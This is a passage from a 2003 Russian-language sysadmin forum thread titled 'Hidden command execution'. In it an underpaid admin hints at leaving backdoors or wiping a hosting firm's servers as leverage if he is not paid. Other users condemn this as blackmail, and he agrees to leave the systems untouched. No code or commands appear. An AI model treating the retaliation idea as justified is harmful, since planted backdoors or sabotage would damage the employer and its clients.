Я у меня нет планов ломать, просто если кинут, я должен как-то время то своё окупить ?! Или оставшись даже без мизерной зарплаты - не суть ?


"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:07 
>>Это в какой прибалтийской стране за 2 сервера и 300 юзеров админу
>>платят 70$?
>А далеко ли до Таллинна ? :)

Почти у Нарвы, 56 км


"Скрытное выполнение команды"
Отправлено NetKnight , 05-Сен-03 17:16 
>>>Это в какой прибалтийской стране за 2 сервера и 300 юзеров админу
>>>платят 70$?
>>А далеко ли до Таллинна ? :)
>
>Почти у Нарвы, 56 км

ОО! Замляки! Я в 30 км от Таллинна живу (город Маарду).

Вот только такому админу платят не меньше 500 баксов, правда соответствующие документы об образовании потребуют и знание гос. языка (то биш эстонского) и ещё английского и русского. :)


"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:20 
>ОО! Замляки! Я в 30 км от Таллинна живу (город Маарду).
>
>Вот только такому админу платят не меньше 500 баксов, правда соответствующие документы
>об образовании потребуют и знание гос. языка (то биш эстонского) и
>ещё английского и русского. :)

Вово, но мне надо ещё год, потом уже экзамены и тд. Но вот это и не справедливо, знания есть, опыт есть, а без бумажки ты какашка.


"Скрытное выполнение команды"
Отправлено NetKnight , 05-Сен-03 17:31 
>>ОО! Замляки! Я в 30 км от Таллинна живу (город Маарду).
>>
>>Вот только такому админу платят не меньше 500 баксов, правда соответствующие документы
>>об образовании потребуют и знание гос. языка (то биш эстонского) и
>>ещё английского и русского. :)
>
>Вово, но мне надо ещё год, потом уже экзамены и тд. Но
>вот это и не справедливо, знания есть, опыт есть, а без
>бумажки ты какашка.

Потом следующая проблема начнётся: "А у вас нет опыта работы" (всмысле официального)
У меня высшее образование программера, за плечами 6-7 лет опыта работы широкого профиля с компами практически в любом направлении, но ни в одной фирме мне просто не вреят! Плюс я гос. языкомне владею.. Вот в Россию думал поджаваться..


"Скрытное выполнение команды"
Отправлено Stiki , 05-Сен-03 17:08 
>Это в какой прибалтийской стране за 2 сервера и 300 юзеров админу
>платят 70$? По молодости что ли? А что на этих серверах
>крутится?
>Но, ИМХО, портить свою репутацию оставлением дырявой системы или убиванием базы, дело
>неблагодарное. Аукнется потом самому же.


Угу, согласен. Стоит FreeBSD 4.8-RELEASE, Squid 2.5-STABLE3, IPFW, Apache 1.3.28, ну и там по мелочи мыло, фтп, всякие пхп и тд, всё для хостера.


"Скрытное выполнение команды"
Отправлено sas , 06-Сен-03 03:52 
>>Это в какой прибалтийской стране за 2 сервера и 300 юзеров админу
>>платят 70$? По молодости что ли? А что на этих серверах
>>крутится?
>>Но, ИМХО, портить свою репутацию оставлением дырявой системы или убиванием базы, дело
>>неблагодарное. Аукнется потом самому же.
>
>
>Угу, согласен. Стоит FreeBSD 4.8-RELEASE, Squid 2.5-STABLE3, IPFW, Apache 1.3.28, ну и
>там по мелочи мыло, фтп, всякие пхп и тд, всё для
>хостера.


GOSPODA!!!

1. Sorry for latinica.
2. Kak mozhno dazhe dumat' i obsuzhdat' vozmozhnost' zakladok? Pust' kontora gnilaja i platyat malo, no ti rabotal i poluchal den'gi za rabotu. Esli malo - uhodi. No nikakogo dazhe moral'nogo prava net snosit' prilozheniya uzhe sdelannie.

Eto prosto gryaznii SHANTAZH i zhelanie stat' (a skoree dazhe ne zhelanie) takim zhe der'mom (izvinite za virazhenie) kak i tvoe nachal'stvo.

Can't wish you good luck
--- sas

PS Sorry for being so rude, but ...


"Скрытное выполнение команды"
Отправлено VD , 06-Сен-03 07:30 
>GOSPODA!!!
>
>1. Sorry for latinica.
>2. Kak mozhno dazhe dumat' i obsuzhdat' vozmozhnost' zakladok? Pust' kontora gnilaja
>i platyat malo, no ti rabotal i poluchal den'gi za rabotu.
>Esli malo - uhodi. No nikakogo dazhe moral'nogo prava net snosit'
>prilozheniya uzhe sdelannie.
>
>Eto prosto gryaznii SHANTAZH i zhelanie stat' (a skoree dazhe ne zhelanie)
>takim zhe der'mom (izvinite za virazhenie) kak i tvoe nachal'stvo.
>
>Can't wish you good luck
>--- sas
>
>PS Sorry for being so rude, but ...

Единственная здравая мысль. А "господа", я вижу, увлеклись, прям как дети...:))
To stiki: уходи оттуда и оставь всё как есть. Будет работать без тебя - хорошо, нет - их проблемы. Только не пакости. В конце-концов ты там не насильно работал. И зарплату получал обещанную. Что за психология - мол, зарплата маленькая, ненавижу, но работаю, а вот выгонят - отомщу за всё! Ты сам согласился на такие условия, кто ж виноват? Не нравится - меняй работу. А то, что новому обещают большую зарплату - есть ещё стереотипы у начальства, что наличие бумажек и возраст якобы говорят об опыте работы...:((
И нужно тебе пятно на твоей репутации? Ты ещё молодой, в тебе вон сколько энтузиазма! Так вперёд, поднимайся дальше - учись, получай те самые бумажки, ищи нормальную работу. И найдёшь. И я думаю, потом не будет обидно, что когда-то, в какой-то шарашке взял, и не постирал всё нахрен...:))


"Скрытное выполнение команды"
Отправлено Stiki , 06-Сен-03 09:40 
>Единственная здравая мысль. А "господа", я вижу, увлеклись, прям как дети...:))
>To stiki: уходи оттуда и оставь всё как есть. Будет работать без
>тебя - хорошо, нет - их проблемы. Только не пакости. В
>конце-концов ты там не насильно работал. И зарплату получал обещанную. Что
>за психология - мол, зарплата маленькая, ненавижу, но работаю, а вот
>выгонят - отомщу за всё! Ты сам согласился на такие условия,
>кто ж виноват? Не нравится - меняй работу. А то, что
>новому обещают большую зарплату - есть ещё стереотипы у начальства, что
>наличие бумажек и возраст якобы говорят об опыте работы...:((
>И нужно тебе пятно на твоей репутации? Ты ещё молодой, в тебе
>вон сколько энтузиазма! Так вперёд, поднимайся дальше - учись, получай те
>самые бумажки, ищи нормальную работу. И найдёшь. И я думаю, потом
>не будет обидно, что когда-то, в какой-то шарашке взял, и не
>постирал всё нахрен...:))

Ну что я могу сказать, я с вами согласен, я пакостить не хочу, но когда тебя оставят даже без этой мизерной зарплаты что делать будешь, на что жить то будешь ? МНе надо гарантии, ячётко сказал если кинут, то надо забрать своё, и пусть дальше делают что хотят. Всё сносить я не собирался. Да ты прав, на эту работу я пошёл сам, правда обещали платить 280 зелёных, потом друг стало 210, потом 140, и ща 70. Вчера видел другого админа, у него такаяже была проблема. Ему сейчас пофиг, я должен буду снести что он сделал, поставить настроить своё. Поднять 3 сервера на 400+ клиентов, и потом меня в один прекрасный день могут просто попросить закрыть дверь офиса с обратной стороны, это ты считаешь морально правильно ? Это ты считаешь нормальная психология ?


"Скрытное выполнение команды"
Отправлено VD , 06-Сен-03 12:09 
>>Единственная здравая мысль. А "господа", я вижу, увлеклись, прям как дети...:))
>>To stiki: уходи оттуда и оставь всё как есть. Будет работать без
>>тебя - хорошо, нет - их проблемы. Только не пакости. В
>>конце-концов ты там не насильно работал. И зарплату получал обещанную. Что
>>за психология - мол, зарплата маленькая, ненавижу, но работаю%

"Скрытное выполнение команды"
Отправлено VD , 06-Сен-03 12:15 
Извиняюсь, что-то не то улетело..:))

>Ну что я могу сказать, я с вами согласен, я пакостить не
>хочу, но когда тебя оставят даже без этой мизерной зарплаты что
>делать будешь, на что жить то будешь ? МНе надо гарантии,
>ячётко сказал если кинут, то надо забрать своё, и пусть дальше
>делают что хотят. Всё сносить я не собирался. Да ты прав,
>на эту работу я пошёл сам, правда обещали платить 280 зелёных,
>потом друг стало 210, потом 140, и ща 70. Вчера видел
>другого админа, у него такаяже была проблема. Ему сейчас пофиг, я
>должен буду снести что он сделал, поставить настроить своё. Поднять 3
>сервера на 400+ клиентов, и потом меня в один прекрасный день
>могут просто попросить закрыть дверь офиса с обратной стороны, это ты
>считаешь морально правильно ? Это ты считаешь нормальная психология ?

Уходи на другую работу, тем более если говоришь, что нашёл. А на этих плюнь. И не жди три месяца. Или, получаетася, ты собрался оставаться там на $70?
Не они тебя, а ты их кинь, свали и всё. Если ничего не подписывал. Кстати, в нормальных фирмах оформляемый при поступлении договор/контракт не позволяет такие штучки 210>140>70>дверь.
Да, ничего не ломай, оставь как есть. Да, это неправильно и обидно. Просто не надо дело доводить до такого. А сейчас мстить - новому админу ли, руководству ли, глупо. Потрать это время и усилия на самосовершенствование...:))


"Скрытное выполнение команды"
Отправлено Stiki , 06-Сен-03 23:45 
>Уходи на другую работу, тем более если говоришь, что нашёл. А на
>этих плюнь. И не жди три месяца. Или, получаетася, ты собрался
>оставаться там на $70?
Да, за то они платят, хотя вот поговорил зарплату обещали поднять до 140. Но блин уже лучше, куда нишло, хотя поняли что я собрался уже уходить, и серьёздно.

>Не они тебя, а ты их кинь, свали и всё. Если ничего не подписывал. >Кстати, в нормальных фирмах оформляемый при поступлении договор/контракт >не позволяет такие штучки 210>140>70>дверь.
Всё бы ничего, но если бы работал официально, то надо было бы отработать месяц, по закону. А это за минималку, за 140 и потом тебя бы послали, а пахать заставили бы по страшному, и за малейшую провинность снять пол зарплаты, махом :(

>Да, ничего не ломай, оставь как есть. Да, это неправильно и обидно.
>Просто не надо дело доводить до такого. А сейчас мстить -
>новому админу ли, руководству ли, глупо. Потрать это время и усилия
>на самосовершенствование...:))
Ок, пасиб, оставлю как есть. Если надо пусть платят за разовые работы по совершенствованию и разработке новых функций.

Всем спасибо, может тред поможет кому-нить определиться. Я же избрал не дорогу монополиста, а тропинку сторонника open source. Ещё раз спасибо.


"Скрытное выполнение команды"
Отправлено Stiki , 07-Сен-03 10:38 
Усё обсуждение закрыто. Все кто хотел вывод сделали. Всем ОГРОМНОЕ спасибо.